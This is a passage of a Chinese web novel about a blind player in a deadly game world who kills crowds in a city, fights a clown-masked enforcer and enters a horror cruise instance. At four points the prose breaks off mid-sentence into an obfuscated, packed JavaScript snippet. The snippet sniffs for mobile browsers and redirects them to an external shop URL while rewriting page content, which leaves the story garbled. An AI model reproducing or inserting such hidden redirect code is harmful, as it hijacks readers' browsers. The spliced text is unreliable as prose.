【谢谢宿主,但我现在还喝不了。】小白从我怀里露出了蓝色豆豆眼睛,【个人系统的嗅觉味觉触觉都是需要花积分购买的。】 【积分?你们也是积分制吗?】 【嗯,因为个人系统都具有自我意识,为了促进个人系统更好的辅助玩家、与玩家达成友好关系,主系统在系统这边也颁布了积分制和积分商城,基本上系统想要的所有东西都可以从系统商城里找到。我们获得的积分数额与宿主每轮副本下来的积分收益相挂钩,宿主获得的积分越多,个人系统的收益就越多……等等,宿主您这是在给我转账?四十万?!】 【嗯嗯。】我收回了点击支付的手指,又吸了口我的冰镇青提柠檬。 哦我的上帝,我感觉自己的灵魂得到了升华。 【不行!】我的小系统突然气势汹汹的转过身,淡蓝色眼睛盯着我看。 【不行,您得收回去,积分对于一个新人玩家真的很重要,尤其是前期在主城居住和探索各类副本时需要购入各种道具,我知道您上个副本赚了不少……很多,但我还是建议您留着,说不定下个副本需要临时购买道具就用上了……】 好唠叨。 走了个楚浮提,来了个同类型的小白。 我伸出食指堵住它樱桃般的数据小嘴——虽然我觉得这招对一个系统来说一点用也没有。 【给你你就拿着啦。我没打算在主城久留,再说我的玩家商城现在还没解锁多少东西,积分用来买那些也足够了。而且——】 我举起最后一杯冰镇青提柠檬,朝小白笑道:【我看你盯着它好久了。不想买一杯亲自尝尝吗?】 …… 小白严阵以待的端着一杯比它还大的冰镇青提柠檬。 它的表情是这样的:O.o 还怪可爱。 然后我看见绑着蝴蝶结的果茶吸管透过由数据组成的线条嘴巴,像是进入了白色小球的实体内部。 【怎么样怎么样?是不是味道超棒!】我眨着眼问。 【还,还好。】它怔怔的,【这是我第一次触碰真正的食物……好神奇,好奇怪。】 【但我好喜欢。】小白仰头看向我,淡蓝色的眼睛亮了起来,像是有千言万语的怪状小狗。 我摸摸它冰凉的脑袋,轻笑道:【喜欢就好。】 到现在我仍然没有在新人榜上面看到楚浮提的名字。 我想他大概还没从副本里出来,又或者和我一样选择暂时隐藏。 【果茶进入你的身体里会不会产生不好的影响?】我随口问道。 其实更想问的是这样不会把自己喝短路吗。 【不会。】小白想了想:【我和那些内部是电线的智能不一样,您可以把我的身体当作一个黑洞。】 它又吸了两口果茶,随后将盛果茶的玻璃杯也吞了进去。 我:【?】 我:【等等小白!那个不能吃啊!!】 【嗯?】小白有些疑惑:【可是我刚刚看到系统论坛上有前辈发的果茶食用方法的帖子就是这样的。我记得它还说了什么……‘起来,不愿被主系统压迫的奴隶’,‘让我们团结在一起剥削资本家’,之类的。】 【……怪不得你们系统买实体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670848|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果茶一杯需要花50积分。】我认为主系统卖给你们的价钱更高可能是有原因的。 【那你觉得玻璃杯好吃吗?】 【不好吃。什么味道都没有。】 【那以后就不要吃了。】 【哦,好的宿主。】 * 又刷了会论坛,正当我准备再搜索一些关于人类文明的信息时,通讯设备闪着的红点显示有未读消息。 是刚加上的余熵。 忽略他之前发的几十条消息,我直接看向最近的几条。 【俞熵】:修狗探头jpg. 【时无序】:? 【俞熵】:小时哥什么时候下副本?要不要一起组队呀?修狗卖萌jpg. 【时无序】:随缘。不要。 【俞熵】:修狗哭泣jpg. 【时无序】:那也不行。 【俞熵】:好吧。 【余熵】:那下次再约哥。 对面发完最后一句话后便没了动静,或许是不打算聊了。然而在我准备退出对话时,对面却突然发来一条像是嘱咐的讯息:【哥,如果你遇到状态不对的玩家一定要离对方远点,无论是副本内还是主城。最近有种病毒很厉害,死了不少玩家,所以这一次的新人玩家是往年的好几倍。哥注意安全,尽量别犯错事违背系统规则。】 之后头像便灰了下去。 【可能是进副本了,也可能是遇到仇人了。】小白不是很喜欢余熵,此时悬在半空往这边看了眼,【这个玩家平时在外嘚瑟得很,不是什么好人,哪天突然从榜上消失了也不足为奇。】 【你认识他?】我疑惑道。 【也是从系统用的论坛里看到的。】小白想了想,直接把它浏览过的界面分享给我,【这是他的个人系统发的朋友圈,每天都在痛骂这个玩家。】 【不止他自己的系统骂,别的系统也骂他,还有好多因为自己宿主被他忽悠导致死亡的已注销系统骂过的留言也有。】 我:【……】 【不过他说的确实有些道理,知道也挺多,宿主您没事时可以套套他话,就当是逗狗了。】小白带了点刻薄的说。 我:【哦哦。】 过了一会儿。 【那只金毛狗知道的肯定没我多,宿主还是来找我吧。】 27. 游戏主城(4) 吹着夜晚的凉风,我只觉得耳清目明,全身上下神清气爽。 神清气爽的我走在永夜城较偏僻区域的小道上,越走越觉得不神清气爽,从四面八方传来的一道道目光:恶意,贪婪,如有实质。 在第四次被陌生人挡住后,我困惑地摸了摸自己的脸,有陌生的触感让我再次确认这是一张易容过的、并不属于我的真实面皮。这张在玩家商城兑换的面皮模样普通,面部平整,甚至有些丑,在人群中平凡且普通。 前三次阻挡的人只是提出向导或交易申请,第四次却大为不同,那群人的目光略过他人有目的性的直指向我,是明晃晃的恶意。 是看中了这张脸的大众特性,还是盲人忽略不计的威胁性? 在我走神这会儿功夫,路过的玩家或是好奇看戏,或是有所意图,或是充满恶意,已经聚集了十几余人,见缝插针、无处不在的窥探着。 黏在我身上的视线也密密麻麻起来,像是密密麻麻的蚊蝇。 我皱了下眉。 好烦。 敏锐的听力使我得知,挡在前面那一行人虽然是牲口,但实力在最外层却算是顶级,因而吃过亏的人大多只能把怨气咽进肚子里。毕竟即使是在不危及生命的情况下,要一个人屈服的手段实在太多了,何况在这里的不过都是些无法反抗又没背景的弱者。 有天赋但初始世界太弱、没成长起来的新人,没能力苟且偷生的底层,还没意识到所处情况到处乱逛的蠢货……都是所谓的“弱者”。 哦,在他们眼里我恐怕属于最后一种。 像是不耐烦了,为首那人碾碎了落在地面的烟头,留下一圈污渍。他恶狠狠道:“小子,来到老子的地盘是要交保护费的。是你自己来还是老子叫人动手?你可要想好,要是叫人来你的手腿恐怕是保不住了!” 吐沫横飞。 “……”我皱眉躲开。 吵死了。 一群不知死活的东西,比上个副本遇到的玩家还弱,真没意思。 见我不理睬,他便恼怒地啐了一口吐沫,张口就骂:“妈的!竟耽误老子时间!还敢笑!使劲打,折腾最狠的就能获得这人的全部积分!” “积分不能强制给予。”听到身后猎猎作响的风声,我突然开口道。 “等等先别动他!” 那人呼吸一滞,再次开口时已经带了几分油腻的恶心,“操这声可真带劲,再多说几句,叫声爸爸,我就告诉你怎么得到积分。” 真是找死。 我嗤笑一声。 杀了你,我也能拿到想要的信息。 虽然这里禁止杀人。 那头男人还在喋喋不休。 然后便是尖叫声。 我松开手,被黑色雾气层层包裹的男人便如同雕塑一般向后倒去,三秒之内脸颊凹陷,面部灰白如死尸。 人群中传来此起彼伏的吸气声。 紧接着,四散而逃。 “一群乌合之众。” 我抬手,起了杀意。 勾住那些常人看不见的雾丝,然后,轻轻一拽—— 逃窜的几人瞬间垂直倒地,紧接着浑身僵硬发白。而从他们尸体上逐渐生长出的细长丝线开始向其他逃窜的旁人躯壳里探去,像是一场无声息的瘟疫,几个瞬息后地上倒满了干瘪的人体。 “一个能打的都没有,真没劲。”我失落地撇了撇嘴,只觉得胸口那把火烧得不够尽兴,烦躁得慌。 雾线一生二,二生四,四又生八…… 被雾线牵回来的行尸走肉越来越多,我嘴角噙着笑,站在成山的尸堆上,安抚地拍拍被屏蔽的小白的头。然后抬手将探头探脑扑向躲在角落里一位陌生人的雾线收了回来。 “不杀她。一个被欺负的小孩儿,杀了有什么意思。” 【这些人每个手下都有数十条无辜生命。】 许久未出声的那道熟悉矜贵的声音冷不丁又冒了出来,【你倒像在做件好事。】 我仔细回忆了一下,总算想到了这个出现在脑中的声音到底是个什么玩意儿。 大概算是,我的心魔? 虽然很奇怪我也会有心魔这件事,但我还是接受良好的扬起嘴角回道:【是你的错觉。】 好事啊…… 可是什么是好,什么又是恶?不过是既得利益者为巩固当下秩序、束缚愚民天性的一套便于搬弄是非的道德标准。大家不过都是只信自己眼前看到那片方隅,信眼前那尺寸之地上被人操控的木偶戏,却看不见生活之下的粉饰太平。 弱小愚笨者受其左右牵动而不自知,世代相传下成为禁锢自由灵魂的道道枷锁,又有几人能彻底摆脱这沉在骨骼里的烙印,活出另一条截然不同,甚至布满异样目光与贬低言论的道? 如今我做了便也不过随心顺手,再说得低俗点,恶劣点,就是在发泄心中私欲,哪能算得世俗意义上的‘好’? 他者心魔无不如附骨之疽、脏腑之蛔虫,对其生主动之以情、晓之以理,以便勾其恶欲、坏其道心。若非处境不同,目的也大相径庭,这心魔何尝不是一位挚友呢;相较之下,我这心魔怎竟这般不了解我?若非先前被祂蛊惑自杀未遂多次,我当真要以为对方是天道为了除去我这邪魔凝聚而成的缩影了,真叫人伤心难过。 对方像是被我噎住了,不再出声。我却奇迹般熄了戾气,甚至心情愉悦,哼起了小曲儿。 【亲爱的另一个‘我’,下一个副本你一定要抓紧机会,努力的,杀死我啊。】 【谁是你。】 祂这次的回复很是迅速。 【……别往自己脸上贴金。】 我做出泫然欲泣的表情。 这是我第一次同祂对话有了回应,祂却像是恼羞成怒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670849|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劈腿渣男,下床就翻脸不认人。 待伴着刺痛的混沌感从天灵盖处渐渐消退,我收起了嘴角提起的笑,只觉得天旋地转,呕吐感刺激胃部不断抽搐。 微微弯下腰,我捂着胃部,心里却在想: 不会吧,真恼羞成怒动手了? …… 愣神之际,周围控制的雾线突然被一张扑克牌斩断。 与此同时,我向后翻至高处,敏锐看向来人方向。对方脸上扣着一张哭笑脸谱,小丑着装“blingbling”的,身材高大目测两米以上。 “嗨。”我歪头向他打招呼。 冰冷的视线透过面具落在我的眼睛上,男人声调平直诡异如机器,“玩家7369458001号违反游戏主城【禁止杀戮】原则,将予以处分。杀害玩家4332名,共扣除积分433200。” 我眨巴了下眼睛。 原来一名玩家的性命只值100个积分啊。 还是——只有外围层的玩家值这个价? 眼看男人一步一步走了过来,我不慌不忙地拍了拍手,雾线瞬间连上,地上一具具凹陷的尸体重新爬了起来。我抬眼挑衅道:“你看,这不就活了吗?” 就当我以为对方会被激怒出手时,小丑男停了下来。 刚被我解除屏蔽的小白此时默默道:【他好像真的以为这些玩家活了,正在联系主系统。】 小白转身看向尸体,它小球一样的身体肉眼可见的凝固了三秒,【……宿主,我觉得您整出来的这些玩意已经可以去恐怖向副本应聘当npc了。】 【承蒙夸奖。】我谦虚道。 一道灵光闪过,我跃跃欲试:【小白你觉得我把它们投放到副本里面,主系统会不会给我积分啊?】 【您的想法有点炸裂。但我觉得不会。】小白看向已经跟主系统沟通完的小丑男,语速加快,【您现在要小心了,我根据系统资料库里的相关案例推测,这人是审判者之一,专门负责逮捕违规玩家。凡被捉拿归案的都会切实扣除积分,并将被发配到惩罚副本中。您目前的积分不够偿还债务,所以能不被抓到就尽量别被抓,撑住一段时间,我在后台给您挑选合适的副本。】 【违规不能直接扣除积分吗?为什么非得捉到才算?】 【之前有大批玩家起义投诉过,声称即使是主系统也无权随意调拨她们的积分。最终主系统后退一步,玩家也后退一步,所以就改革了。改革后小型处分可以直接扣除积分,但您这个数额……已经超出“小型”的范围,这种程度按改革后的标准,如果被审判者捉拿归案,玩家便需要老实支付违约罚款和惩罚;如若玩家成功逃脱,即可清零本次惩罚。】 【审判者依据违规程度严重程度差距而不同。您面前这位在审判者里排行第三。】 【目前登记序列为——】 【T1】 28. 游戏主城(5) 方圆百里气温垂直下降,空气中仿佛已经有了冰渣。 我看向佩戴小丑面具,气质诡谲的男人。 小白说以我的数据放在T4列玩家里能存活一段时间,而每个序列之间的差距有如天堑。 T1序列…… 后仰躲过迎面飞来的扑克牌,从尸体堆中凭空出现的麻麻烦烦的雾气将回旋的扑克折为两半。 我舔了舔嘴唇,笑道:“他们可不是我杀的。” 顶着审判者冰冷泛着杀气的视线,我颠倒是非:“说不定是你杀的,为了嫁祸于我才来抓我的呢。你说是我杀的,请问你有证据吗?” “光天化日下欺负一个瞎子,啧啧啧。”虽然可以和系统共享视线,但从外表看我可就是一个瞎子呀。 他不语,只是动作更加凌厉,双手合拢间又甩出几张扑克牌,我瞳孔微缩,蹬地闪身离开原本被细线包裹的地方,紧跟着就地一滚,却还是被迎面的一张扑克牌割下了半个耳朵,白光闪烁间细线也全被连根斩断。 如果没能躲开割掉的就是半个脑袋了。 细密的攻击不会留下给我喘口气感受疼痛的时间。 【小心!!】 不等小白提醒,我猛地向后下腰,小丑的扑克牌化为带刺的藤蔓贴着脸呼啸而过,极强的风划过脸留下一道伤口。粗壮的藤蔓择地而生,不等稍作喘息便如同万斤锤砸向我。 我原地一跃翻向附近的高楼。 好快! 还是在小丑本人没有动的情况下完成的。对方打我简直跟逗猫戏狗无异。 我微微偏头望向右侧地面被砸出的深凹蛛网状碎痕。 但也正是因为对方的轻视与傲慢,给了我拖延时间的机会。 我扭动了下有些发涩的脖子,发出清脆的喀吧声,战意蔓延四肢。 下一秒便出现在小丑身后,成爪的五指破风,“唰”地向小丑心脏处掏去,却在险险触碰到那身夸张的服饰时扑了个空!小丑毫发无伤,而临边过道上的建筑物却因这风势龟裂破碎! 虚虚握了下手,我颇为遗憾,“差一点啊……真可惜。” “那这样呢——” 隐匿在黑暗中的魔气不知何时贴在对方身后,贪婪地汲取新鲜血肉的香气,与此同时,那片滔天魔气中猛然蹿出一只凝聚黑色液体的巨蛇,獠牙连同我手中的匕首一同狠戾地刺向男人! “——!” 男人只来得及挡住面前直击面门的匕首,身后尖利的毒牙毫无阻碍地刺透小丑浮夸泡泡袖的肩膀,而后生生剜下肉来! 力与力相撞带来的冲波瞬间将方圆百里实物碾成齑粉! 哈! 我将脱臼的腕骨接了回去,笑出了声。 那边男人停在原地,疑惑地看向自己流血的地方,像是在疑惑自己竟然会受伤。听见我的笑声,他看了过来,愣了大概五六秒。 正当我准备乘胜追击时,这片区域空间突然极不稳定的震颤起来,像是难以承受力量波动,即将扭曲崩溃。 磅礴到足够卷走四面八方氧气的力量来源正是站在混乱中心的小丑! 什么鬼? 我倒吸一口气,借着不断晃动楼层的平台空翻向外围飞去。一边警惕地操控面板,随时做好上交个人数据,离开第十二区的准备。 要知道空间扭曲破碎后谁也别想活! 漩涡中心的男人还在发愣,跟个人机似的。 真活久见,都什么年代了,还有这种奋不顾身的打工人。 在我的视线中,他突然动了,而且还是腿一蹬就出现在我面前。 我堪堪躲过他愈发凛冽的攻击,觉得他还是当个人机比较好。 眼见对方攻势越来越猛烈,我接应不暇,咽下口血不再迎招,反而在跳跃躲避间凝神去计算一切攻击的可能性。 ——竟找不到一点破绽! 呼吸一滞,一秒不到的停顿却被对方逮住,几乎同一时刻,漫天银光瞬间从头顶刺下!尽管我尽了最快速度闪躲,但还是有几把飞镖状暗器不偏不倚的扎入胸腔,刺进血肉! 刀剜在骨头上,是极疼的。 操。 随着时间的流逝,我刚兑换的所有道具已经清空,而男人带来的压力却越来越雄厚,出手也越来越迅速,像是身上沉重的禁锢正被缓缓解开。虽然不知道这是否跟主系统有关,但我觉得如果时间再拖下去,我就不只是像现在这样遍体鳞伤,而是被一招解决了。 但如果要我现在就放弃隐藏,向主系统公布自己的各项数据,我也是不愿的。 迅速拉开距离,我踉跄着半跪在地上,眼见审判者下一次攻击不给喘息的迎面而来,这才不情不愿拍了拍手。紧接着肉眼可见的,那些人原本已被系统判定【死亡】的玩家脸上缓慢却明显恢复了血色。 “你要的人全活了。现在总没理由杀我了吧?”我扯扯嘴角瘫坐在稍微干净一点的地上,胸膛滚落的血珠滴在裤子上,黏腻的晕开了一片深色。 最初为了避免主系统追责而特意改变的攻击方式,没想到真的帮上忙了。 于此同时,我在意识里语速飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670850|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快的呼唤小白:【你那边怎么样了!】 近在咫尺的审判者攥住扑克牌的手当场僵住,他走到身边一具躺下的躯壳前,将手放在对方脉搏处似乎在确定什么,半晌才抬头缓缓朝我点头。 【链接副本的工作已经做好了,就差您的同意后的载入了……那些玩家这么又活了?】小白一时间没反应过来,【等等、您怎么靠审判者身上了?】 【他身上又脏又硬的肯定不舒服。】小白快速追上一句。 【还是死的,不过我用了点手段。】 眼看那双手即将触碰另一具玩家尸体的皮肤,我的心脏一瞬间蹦地极快,【尽量进入时间流速比系统空间内慢的,尽快!你可怜的宿主也快成为那堆尸体里的一员了!】 其实那些玩家倒是没彻底死,就是都成了半死不死的状态,用修仙的那堆老不死的说法就叫活尸,类似于上个副本医学背景里确诊的狂躁型狂犬病末期患者:没有自我意识,但你也不能说他完全死亡,至少还有生命迹象——会呼吸,会行走,还会……咬人。 这种特征还会随着时间延长而愈发明显。为了避免进副本前被审判者发现,短时间内最简单有效和谐的方法就是假意上前拥抱,按照交手时对方的机警,我很快便能将他的注意力从那几具有呼吸的尸体上移开,然后出手攻击我。 但没想到耳朵是,对方并没注意到我的靠近,反而让我真真切切的抱住了。而我身上刺入身体的刀还没拔出来,幅度过大带出的鲜血汩汩流淌,顺着接触染上对方的小丑服饰。 我一咬牙,抱得更紧了,心想反正这杠子总是要结的,再多一个问题不大。 小丑面具构成的杂色模块缓缓转向我,我勉强扯出一个尴尬又不失礼貌的笑容:“你好啊。” 他似乎花了几秒反应,才隔着面具僵硬的回了句,“你好。” 【再坚持住10秒!】 那头逐渐回暖的尸体开始泛白泛青,我将他偏过去的脑袋又掰了回来,手指的触感滑腻到诡异。面对隔着面具都能感受到的疑惑神情,我垂下眼帘,低声诱惑,“打了半天还不知道你叫什么名字呢,我叫……“视线飘到尸体上,”白淤青。我叫白淤青,你呢?” “……我…好像,没有名字。” 【还剩5秒!】 眼看对方又想把头转回去,我伸手便朝着男人面具边缘上摸去,这回换对方反应过来并抓住了我的手腕,“你……” 【加载副本中……】 【恭喜玩家进入副本——】 【惊悚轮渡】 29. 惊悚游轮(1) 【欢迎玩家进入T7列序号0701429副本,惊悚游轮】 【我的老天,这可是能够领先全球的VR技术!被这次游轮旅行抽中,我真是太他妈的幸运了!激动的男人如是想到】 【杀!快杀死他!你可是我押过注的奴隶!!沉浸在角斗场,双眼血红一片的男人如是想到】 【该死的!这不应该只是一艘宴会主人度假用的游轮吗?!!惊悚的看着攀附在自己身上满脸扭曲蠕虫却身材曼妙女郎的男人如是想到】 【嗯,这可真是美味。嚼着腐烂生咀的男人双目溃散,浑身肿胀,如是想到】 【亲爱的,欢迎来到地狱游轮】 【主线任务1:存活7天;主线任务2:游轮的秘密调查进度达到60%】 “哈…哈哈、哈哈哈哈……” 在一个狭窄逼仄的小房间中醒来,夹杂着死里逃生与还未消散的剧痛的强烈情绪发疯似的冲击着躯体,我双手掩面蜷坐在床上,气息不稳,嘴角咧到发痛发酸,只觉得精神亢奋,心脏跳得快到危险。 蠢货。 蠢货。 蠢货。 我舔了舔干涸的嘴巴,神经质地颤抖,劣质的床板在身下吱呀作响。兴奋地,不断地,乃至翻来覆去地揣测那个审判者在看见我消失在原地,以及发现周围是上千具亟待变异的尸体后的神情。 平静,惊讶?亦或是后悔,恼怒? “嘻嘻……嘻嘻嘻…………”指甲带下皮肉,血顺着脸庞淅淅沥沥的落在小床上,切口暴露在发霉的空气中,火辣辣的疼。 【你疯了?】我的心魔诧异的问道。 【这不就是你想要的。】我弯起眉眼,神经质地搓碾着手上的血与肉,柔声轻叹:【如今我这幅模样你不也出了一份力?】 ——不早不晚,正好在转换副本时动手污染……做得真棒啊,蠢货。 【太棒了…亲爱的,我现在真想……扭断你的脖子——!】我咯咯笑,杀意毫不掩饰。 * 昂贵的黑色皮椅上坐着一位年轻矜贵的青年,骨骼分明的指节此时一下又一下规律地叩击着桌面,神情极淡的蓝眼睛一眨不眨的盯着监控中蜷缩在小破屋子里的黑发男孩。 当看到男孩状若癫狂地挠着面皮,留下一道道蜿蜒血痕时,青年眸色更深了,像是翻滚着的黑色浓墨,又似是一条潜伏深海兴致昂扬的捕猎者,摇晃着巨尾蓄势待发。 阴冷潮湿的空间外传来哒哒的皮鞋落地声。 “我的老天,弗莱德。你看那些祭品看了可是一上午,莫非哪个火辣小妞把你迷住了?”门外张扬的声音响起,来者没做什么象征性的礼节便直接将办公室的门推开,迈着大步走了进来。 “亚当斯,真希望你的长辈能够教育好你什么是礼貌。”弗莱德冷淡的看着走进来的红发美洲人。来人眉眼不羁,只穿了件敞开半截扣子的白衬衫,衬衫下充分锻炼的饱满胸肌紧贴布料,蜜色皮肤极具男性荷尔蒙。 红发美洲人对于弗莱德的明嘲暗讽充耳不闻,也不知道是没听懂还是不在意。他瞥了眼青年面前的监控,随口嗤笑道:“这些爬虫有什么好看的,连那位大人万分之一的精神力都扛不住的废品……你该不会真把邀请函发给他们了吧?” “没有。” 早在听见对方声音时弗莱德便下意识切换了监控屏幕,不知道为什么,一想到面前这个暴躁的肌肉红毛也会看到那个羸弱脆弱的东方男孩,他心下便一阵恶心,伴随着戾气的踊跃,恨不得…… 不,这样是不对的。青年稳了稳心,才若无其事的回道:“说好的要为大人挑选最好的祭品,便不会食言。” 至于那个男孩,就算弱小点也没关系,因为他会护着他,甚至可以为此打破他平常严格遵守的教条——让他成为他的……同类。 一想到那位可爱脆弱的东方男孩会成为自己的妻子,青年一颤,皮肤上繁复的花纹若隐若现,透着点似是羞赧的潮红。 亚当斯也没把一向遵守规矩的同事那点小异常放心上,他狠狠皱了下眉,拳头烦躁地砸向门,骂道:“安东尼那傻*说什么这回要找乐子,硬是要跟着挤上来,还要带上他的人!操……等等,那小屁孩是不是想来分羹一杯?” “那就让他来好了。” 弗莱德收回心底的隐秘思绪,视线略过龟裂且裂缝有蔓延趋势的门,神情冷淡。 “如果有本事活着回去的话。” 他们可从来不是什么懂得谦让的人。何况资源就那么多,抢的人多了,分到的自然就少了。 要抢?没问题。有命就行。 室内静默。 门轰然碎裂。 原本义愤填膺的亚当斯神情陡然一僵。 他僵硬转头,对上了弗莱德嫌弃又带了点嘲弄的眼神。 “算上这次,这个月破坏维修费用一共三亿七千万,扫码还是现金?” “啧,小气鬼,不就一扇门吗……现金。” * 【……】 【身份牌下发】 小白的姗姗来迟打破了逐渐凝固的空气,祂暂时离开了,喉咙处呕吐的欲望却并未减弱。 呕,好恶心。 我没骨头似的,神色恹恹倒在床上。 瞬间,数张神秘的四方卡牌悬浮在意识海中。 【请挑选您的身份牌】 抽卡? 我萎靡的眼前一亮,激动地摩挲着指尖,企图通过虔诚的内心感动天地。 果然,幸运不会辜负祂的每一位信徒。 看着被选中的卡牌漂浮在空中,散发着金色光芒,我在心里笑开了太阳花。 金色卡牌翩跹而来,而我沉浸在双向奔赴的喜悦之中。 这种冒着泡泡般的幸福感直到我看清卡牌内容时戛然而止。并且,越是仔细解读手头这张卡牌,便越有种“津津有味嚼着麻辣小龙虾却突然醒了梦,发现嘴里的其实是臭袜子”的诞妄。 【ssr身份牌,羔羊】 【卡牌介绍—— 【您有着柔软的身躯,无辜的眼神,怯懦的性格,无可挑剔的外貌——毫无疑问,您是一只非常合格的羔羊 传说收到巨轮邀请函的人会被满足任何要求,即使是最贫困的乞丐也有一夜暴富的先例……可是谁说得清这不是幸存者偏差呢?一只抽中了巨轮邀请函的负债羔羊,一想到您要经历的东西我就无比惋惜,您究竟是幸运还是不幸——呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670851|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?】 【为平衡游戏机制,系统将贴心为您的卡牌赋予以下特性,以对得起该卡牌ssr的稀有等级——】 【特性1】:过分柔弱的外表往往会引起任何一位生物的暴虐因子,良善者偏执,偏执者疯狂。看见您的生物有60%的可能性对您产生好感,念念不忘;任何与您对视/交谈的生物有10%的可能性(随时间累积而叠加)激发对您的善意以及恶念,譬如追求,保护,譬如凌虐,囚禁;与您长时间共处一室的所有生物有80%的可能性想更过分地……弄哭您 【系统点评】:不同生物个体具体体现不同,以上只是善解人意的系统列举的几种可能性,剩余体验还需您自行体验领悟。另外,卡牌特性只是无限放大生物心底关于您的恶的想法,并不会让其平白无故滋生对您的情感,所以请勿将一切推托到卡牌身上 【特性2】:超过阈值的欲望会转化成泥潭般稠浓的恶念。一味的躲避、拒绝只会激化恶欲,触发作用对象“爱而不得”负面BUFF,持续时间直至该副本结束 【特性3】:出于系统公平、公正原则,您的眼泪将有非同凡响的作用,可有效降低作用对象对您的杀意,但同时会刺激对方的其它欲望 【系统点评】:您泪腺似乎并不发达 【特性4】:迷途羔羊不再迷途。佩戴此卡牌时您的灵魂将不会受任何精神污染侵蚀。这是对纯洁美好生物的特许。 【特性5】:羔羊不再沉默。此特性可自主选择开启与否,开启后您将额外获得指定对象(需要指明姓名)的部分力量,具体由对方与您总实力的差距为准,持续时间为一小时。时间结束后您将陷入6小时的虚弱时间,一个副本仅能开启1次。 【您的外貌将因卡牌稍作调整】 【那么,祝您游戏愉快】 怯懦?柔软? ……我? 我瞠目结舌。 我喜欢羔羊这种又可怜又可爱的小东西,也仅限于“喜欢”,这并不代表我希望成为自己喜欢的类型。 而且,那种类型和我货不对口啊! 不过抛开五花八门、奇形怪状的性质不谈,这张卡牌提供的能力还算可以。 稍稍回过神,我示意小白继续。 【本次副本共有1000位玩家。】 小白科普道:【玩家越多副本越难,而且这个副本的序列比较靠前,死亡率高达83%。角色扮演类副本玩家分为两类,一类是扮演npc的玩家,一类是正常做任务的普通玩家。前一种对玩家要求高,副本奖励也很可观,但符合标准的玩家少之又少,像宿主您这样跨序列的新人更是万里挑一。】 【系统对npc玩家有特殊保护——】 【普通玩家在本次副本中会被模糊关于npc玩家一切的相关记忆,记忆将在副本结束后恢复。且npc玩家在普通玩家面前使用天赋或道具会被合理化。】 【那挺好。】我坐起身,掀开盖在身上的有些发霉的被褥。 【这个副本里玩家没有身份限制。而且从后台看,玩家通关平均次数在三十次以上。】 小白提溜着湿巾轻轻擦拭我脸上的血迹。 【宿主,请务必注意安全。】 30.惊悚游轮(2) 我边打量着周围环境边问小白:【你之前说这是角色扮演副本?我在扮演npc?】 房间很小,除了一张床,一扇窗户,一面镜子外没什么东西,床到门口不过几步路的距离。天花板从高到低倾斜着,就算站起来也直不起身,显得本来就狭小闷人的房间更加禁锢压迫。 是间阁楼。 【是的。您需要遵循一定人设。】 小白将意识里的卡牌翻转过来:【人设在这里。】 随着对方动作,我看到卡牌后面一行小字——请注意保持纯洁、柔弱的人物设定,人物关系请自寻探索。 是两眼一黑的程度。 我收回落到意识里的视线,上前几步一把将窗户打开,顺进来的风瞬间带走了室内陈年的朽木味。 深吸一口。 啊,好新鲜的空气。 屁大点的房间简直闷得慌,魔界关押罪犯的铁笼都比这大。 身旁就是镜子,想到卡牌上说要对我的外貌进行调整,我好奇的看了过去。 镜中熟悉又有些陌生的黑发少年与我对视,那双原本略微上挑的眼睛更加圆润,漆黑的透不出光亮的瞳孔此时迷茫的扩散着,像是弥漫了一层雾气。容貌褪去了攻击性的旖丽,多了点稚嫩,黑色长发变成了短发,皮肤还是苍白羸弱,上面带有先前指甲留下的道道短深划痕,却不突兀,搭配眼尾氤氲的绯红,抿着嘴,只显得更加可怜无辜。 尤其是现在露出的那一副要哭不哭,泫然若泣的模样。 呜呜。我的圣母玛利亚。 我很伤心。 因为我发现我变矮了。 171厘米……我含泪咬手帕。 痛失了10厘米身高的我已经不是完整的我了QAQ 【宿主?】 小白突然出声,【您在干什么?】 在干什么?当然是在悼念我失踪的海拔。 我满心怨怼。 【在外面您尽量还是不要再做出那种表情了。】 【?】 系统突然颁布任务发出的提示音压住了小白的未尽之语。 【支线任务一:成功搭乘邀请函所示游轮】 